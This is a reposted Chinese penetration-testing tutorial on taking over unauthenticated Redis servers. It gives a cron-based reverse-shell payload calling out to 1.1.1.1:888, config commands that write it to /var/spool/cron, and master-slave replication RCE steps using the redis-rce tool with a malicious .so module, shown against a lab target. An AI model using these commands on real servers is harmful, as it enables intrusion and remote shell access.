首頁  >  文章  >  資料庫  >  Redis+Getshell的範例分析

Redis+Getshell的範例分析

WBOY
WBOY轉載
2023-05-27 20:43:141747瀏覽

前言:

通常情況下,當進行授權滲透測試時,即使嘗試了傳統漏洞攻擊(如注入、文件上傳等),卻無法獲得任何資訊時,掃描端口還是可能會帶來意料之外的收穫。

知己知彼乃百戰不殆,Redis介紹:

#簡單來說redis 就是一個Key-Value類型的資料庫, redis 所有資料全部在記憶體中進行操作,並且它可以將記憶體中的資料定期儲存在磁碟中,並且支援保存多種資料結構(String、hash、list等)。

運籌帷幄之中,Redis漏洞:

#1、未授權存取漏洞

Redis在預設情況下,會綁定在0.0.0.0:6379,如果沒有採用限制IP訪問,就會將Redis服務暴露在公網上,並且在沒有設定密碼認證的情況下,會導致任意用戶未授權訪問Redis以及讀取Redis資料並寫入公鑰進行遠端連線等。

當拿到資料庫權限是不會滿足我們的,我們的目標只有一個getshell!

目前較主流的兩個方法,第一種定時計畫反彈shell、第二種利用主從複製rce。

2、定時計畫反彈shell

1)set x "\n* * * * * bash -i >& /dev/tcp/ 1.1.1.1/888 0>&1\n"

2)config set dir /var/spool/cron/

3)config set dbfilename root

#4)save

3、利用主從複製rce

漏洞存在於4.x、5.x版本中,Redis提供了主從模式,主從模式指使用一個redis作為主機,其他的作為備份機,主機從機資料都是一樣的,從機只負責讀,主機只負責寫。在Reids 4.x之後,透過外部拓展,可以實現在redis中實作一個新的Redis指令,建構惡意.so檔。在兩個Redis實例設定主從模式的時候,Redis的主機實例可以透過FULLRESYNC同步檔案到從機上。然後在從機上載入惡意so文件,即可執行指令。

需要利用一個工具,GitHub下載即可。

1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需make)

2)git clone https://github.com/Ridter/ redis-rce.git

然後透過未授權存取或弱口令連接redis,執行腳本即可取得shell。
Redis+Getshell的範例分析

決勝千里之外,實戰演練:

#本次掃到了6379也就是Redis,有的時候可能或改默認端口,建議全埠掃描,本次利用主從複製rce取得shell(由於該漏洞已提交src,簽約保密協議,故搭建靶機還原真實環境,保證原汁原味。)

攻擊端ip:192.168.109.134

服務端ip:192.168.109.136

##透過未授權存取連接redis(如果有密碼,可以嘗試爆破,authpassword 登陸系統) :Redis-cli –h ipRedis+Getshell的範例分析
利用主從複製rce取得shellRedis+Getshell的範例分析

首先要產生惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可產生。


攻擊端執行:Redis+Getshell的範例分析

python redis-rce.py -r 目標ip-p 目標連接埠-L 本機ip -f 惡意.so

成功取得shell


Redis+Getshell的範例分析

以上是Redis+Getshell的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除